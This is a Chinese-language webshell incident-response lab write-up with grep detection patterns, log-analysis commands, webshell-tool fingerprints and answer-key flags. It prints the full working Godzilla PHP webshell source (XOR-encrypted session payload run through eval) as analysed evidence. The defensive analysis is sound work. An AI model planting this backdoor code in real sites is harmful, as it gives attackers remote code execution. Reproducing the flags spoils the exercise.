Webshell最常见的特征是使用危险函数执行任意代码(如eval()、assert()、system()、exec()等),或通过编码函数(如base64_decode()、gzdecode()、rot13()等)实现免杀绕过检测。同时,不同语言的Webshell有特定执行函数。
推荐高效命令(使用find+grep -P并行处理,速度更快):
# 以 /var/www/html 为例,替换为实际网站根目录
ROOT="/var/www/html"
# 1. PHP常见危险执行函数
find "$ROOT" -type f $$ -name "*.php" -o -name "*.phtml" $$ -print0 | xargs -0 grep -El "eval$$ |assert\(|system\(|exec\(|shell_exec\(|passthru\(|popen\(|proc_open\(|pcntl_exec\(|`"
# 2. ASP/ASPX常见危险执行函数
find "$ROOT" -type f \( -name "*.asp" -o -name "*.aspx" $$ -print0 | xargs -0 grep -El "execute$$ |eval\(|CreateObject\(|Server\.Execute"
# 3. JSP常见危险执行函数
find "$ROOT" -type f -name "*.jsp" -print0 | xargs -0 grep -El "Runtime\.exec\(|ProcessBuilder"
# 4. 免杀常见编码/混淆函数(多用于PHP免杀马)
find "$ROOT" -type f -name "*.php" -print0 | xargs -0 grep -El "base64_decode\(|gzdecode\(|gzinflate\(|gzuncompress\(|str_rot13\(|rot13\(|urldecode\(|chr\("
# 5. 常见“一句话木马”模式(POST/GET/REQUEST接收参数后执行)
find "$ROOT" -type f -name "*.php" -print0 | xargs -0 grep -El "\$_POST\[|\$_GET\[|\$_REQUEST\[.*(eval|assert|system|exec|shell_exec|passthru)"
# 6. 其他高危函数(文件写入、上传等常用于持久化)
find "$ROOT" -type f -name "*.php" -print0 | xargs -0 grep -El "file_put_contents\(|fwrite\(|fputs\(|move_uploaded_file\("
说明:
以上命令会列出包含关键字的文件路径(-l 或 -El),便于后续cat或vim查看。
免杀马往往多层嵌套编码(如eval(gzinflate(base64_decode(...)))),单关键字可能漏报,建议结合多条命令交叉验证。
对于隐藏文件,别忘了加-a查看:ls -la 或 find "$ROOT" -name ".*".
当免杀马静态特征不明显、关键字搜索漏报时,可通过 Web 访问日志定位异常访问的文件(如频繁 POST 请求、执行 phpinfo()、异常响应大小、异常 User-Agent 等)。
Apache日志路径:/var/log/apache2/access.log
快速确认当前服务器类型及日志路径:
# 查看运行中的 Web 服务器进程
ps aux | grep -E 'apache|httpd|nginx|iis|tomcat'
# Apache:搜索配置文件中的日志路径
grep -i -E "CustomLog|TransferLog|AccessLog" /etc/apache2/apache2.conf /etc/apache2/sites-enabled/*.conf /etc/httpd/conf/httpd.conf
# Nginx:搜索配置文件
grep -i -E "access_log|error_log" /etc/nginx/nginx.conf /etc/nginx/conf.d/*.conf /etc/nginx/sites-enabled/*
# Tomcat:检查 $CATALINA_BASE/conf/server.xml 中的 AccessLogValve 配置
常见日志过滤命令(定位免杀马):Bash# 查看 POST 请求(webshell 上传/执行常见)
grep "POST" /var/log/apache2/access.log | tail -n 50
# 搜索敏感操作(如 phpinfo、system、eval 等)
grep -i "phpinfo\|eval\|system\|exec\|base64\|cmd\|shell" /var/log/nginx/access.log
# 异常大响应(可能执行命令返回结果或下载工具)
awk '$10 > 500000' /var/log/apache2/access.log | tail -n 20
# 异常 User-Agent(常见工具特征,如 Godzilla、Behinder、AntSword)
grep -i "java\|behinder\|godzilla\|antsword\|mozilla/5.0 (windows nt.* compatible; msie" /var/log/nginx/access.log
# 处理轮转日志(旧日志压缩为 .gz)
zcat /var/log/nginx/access.log.*.gz | grep "POST"
注意事项:
日志路径可能被自定义或发送到 syslog/remote logging。
结合 PHP 错误日志查看动态执行错误:tail -f /var/log/php-fpm/www-error.log 或 /var/log/apache2/error.log。
在实际应急响应中,先用 ps 确认服务器类型,再针对性查看日志,往往能快速发现免杀马的访问痕迹(如本关的 /wap/top.php 通过 POST phpinfo 被访问)。
以下是主流PHP webshell工具的典型代码/流量特征对比(基于默认或常见配置):
| 工具 | 加密方式 | 代码关键特征 | 流量/连接特征 | 其他备注 |
| 哥斯拉 (Godzilla) | XOR (滚动密钥,16字节) | encode() XOR函数、$_SESSION['payload']、getBasicsInfo;默认key 3c6e0b8a9c15224a | 首次大包上传payload;响应体常有md5前后缀+base64;Cookie可能以;结尾(弱特征) | 支持内存马、多插件;流量加密强 |
| 冰蝎 (Behinder) | AES (动态/预共享密钥) | AES加密函数;变量如k(密钥md5前16);eval/assert执行;开源SSL判断 | Content-Type: application/octet-stream;固定User-Agent/Java头;Content-Length ~5740(命令执行时) | 动态二进制加密;3.0版无明文交互 |
| 蚁剑 (AntSword) | Base64 + eval (可编码器混淆) | @ini_set("display_errors","0"); @set_time_limit(0);开头;随机参数POST base64解码 eval | 请求体含base64长串;响应格式:随机数 + 编码结果 + 随机数;User-Agent常伪装百度蜘蛛 | 继承菜刀核心;支持编码器绕WAF |
| 菜刀 (Caidao/Chopper) | 明文或简单base64 | 一句话木马:eval($_POST['pass'])或assert;参数z0/z1/z2 | 明文payload(旧版);响应明文或X@Y格式 | 最早工具;特征明显,易检测 |
通用webshell特征:大多用eval()/assert()执行任意代码;隐藏错误(如error_reporting(0));一句话后门(如)。
区别点:哥斯拉/冰蝎强调加密流量(绕WAF);蚁剑/菜刀更依赖编码混淆;哥斯拉独特在session内存payload + 特定命令如getBasicsInfo。
1.D盾:本地扫描,适合断网环境,支持特征库查杀。
2.微步在线沙箱、河马webshell查杀:在线工具,上传源码包扫描。
这是一道典型的WebShell应急响应实战题目,环境为Linux服务器(Apache + PHP),黑客已成功上传多个WebShell。我们需要定位、分析后门文件,并提交以下Flag:
黑客WebShell里面的flag:flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
黑客使用的WebShell管理工具GitHub地址的MD5:flag{md5}(32位大写)
黑客隐藏Shell的完整路径MD5:flag{md5}(路径格式:/xxx/xxx/xxx/xxx/xxx.xxx)
黑客免杀马完整路径MD5:flag{md5}
答案汇总(根据实际排查):
Flag1: flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
Flag2: flag{39392DE3218C333F794BEFEF07AC9257}(对应 https://github.com/BeichenDream/Godzilla的MD5)
Flag3: flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}(对应 /var/www/html/include/Db/.Mysqli.php 的MD5)
Flag4: 通过日志定位到的免杀WebShell路径MD5(具体路径根据日志中上传记录确认)
find ./ type f -name "*.php" | xargs grep "eval("
cat ./include/gz.php
在目录/var/www/html/下有很多php文件。
find命令搜索,发现/include/gz.php包含eval(),哥斯拉加密函数,所以这个就是webshell。
代码特征明显为哥斯拉(Godzilla)内存马:
- 经典三行隐藏错误/超时
- 滚动XOR加密函数encode()
- 默认密钥3c6e0b8a9c15224a
- 使用Session存储payload,支持持久化连接
- 核心执行点eval($payload)
文件中直接注释了UUID,即为flag。
**Flag1:** flag{027ccd04-5065-48b6-a32d-77c704a5e26d}


根据代码特征(XOR滚动加密、Session payload、getBasicsInfo命令、默认key),确认黑客使用的是**哥斯拉(Godzilla)**客户端。
<?php
@session_start(); // 启动session,持久化payload(哥斯拉内存马)
@set_time_limit(0); // 无超时
@error_reporting(0); // 隐藏错误
function encode($D,$K){ // 哥斯拉经典滚动XOR加密/解密
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15]; // 密钥循环(&15 ≡ mod 16)
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d // 哥斯拉连接UUID或flag
$payloadName='payload'; // session键名
$key='3c6e0b8a9c15224a'; // 哥斯拉默认XOR密钥(最强指纹)
$data=file_get_contents("php://input"); // RAW请求体输入(哥斯拉XOR_RAW类型)
if ($data!==false){
$data=encode($data,$key); // 解密请求数据
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key); // 取出并解密payload
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key); // 部分变种二次加密
}
eval($payload); // 执行payload(核心危险点)
echo encode(@run($data),$key); // 执行命令并加密返回
}else{
if (strpos($data,"getBasicsInfo")!==false){ // 首次连接初始化命令(哥斯拉专属指纹)
$_SESSION[$payloadName]=encode($data,$key); // 存储payload到session
}
}
}
哥斯拉官方GitHub仓库地址:https://github.com/BeichenDream/Godzilla
对该URL字符串进行MD5计算
哥斯拉马特征明显,易被检测,黑客往往还会隐藏备用后门(如隐藏文件)。
使用ls -la查看隐藏文件:
ls -la
# 列出当前目录下的所有文件和目录
# -l:以详细列表形式显示(包含权限、属主、大小、时间等)
# -a:显示所有文件,包括以“.”开头的隐藏文件
# 目的:发现是否存在可疑的隐藏目录或异常文件权限
cd Db
# 进入名为 Db 的子目录
# 在 WebShell 排查中,攻击者常使用看似“数据库相关”的目录名进行伪装
# 该步骤用于进一步深入排查可疑目录结构
ls -la
# 再次查看 Db 目录下的所有文件(包括隐藏文件)
# 重点关注:
# 1. 以“.”开头的隐藏文件
# 2. 文件名与业务无关但扩展名为 .php 的脚本
# 3. 异常的文件权限(如 777)
cat .Mysql.php
# 直接查看隐藏 PHP 文件 .Mysql.php 的源码内容
# 目的:
# 1. 判断是否包含 eval/assert/base64_decode 等危险函数
# 2. 分析是否为隐藏 WebShell 或免杀后门
# 3. 确认该文件是否为攻击者植入的持久化控制点
发现隐藏文件.Mysqli.php(注意点开头)。
隐藏webshell完整路径:/var/www/html/include/Db/.Mysqli.php

前两个后门静态特征明显,但免杀马往往通过多层编码、动态函数拼接绕过关键字检测。
静态搜索可能漏报,转向日志分析。
查看Apache访问日志:
vim /var/log/apache2/access.log
发现可疑访问:
多次POST请求访问/wap/top.php
执行phpinfo()等敏感操作,返回200

cat /var/www/html/wap/top.php
定位文件:/var/www/html/wap/top.php
文件内容为高度混淆的免杀马(Base64 + XOR + 动态函数构造),静态grep难以命中,但日志访问痕迹明显。
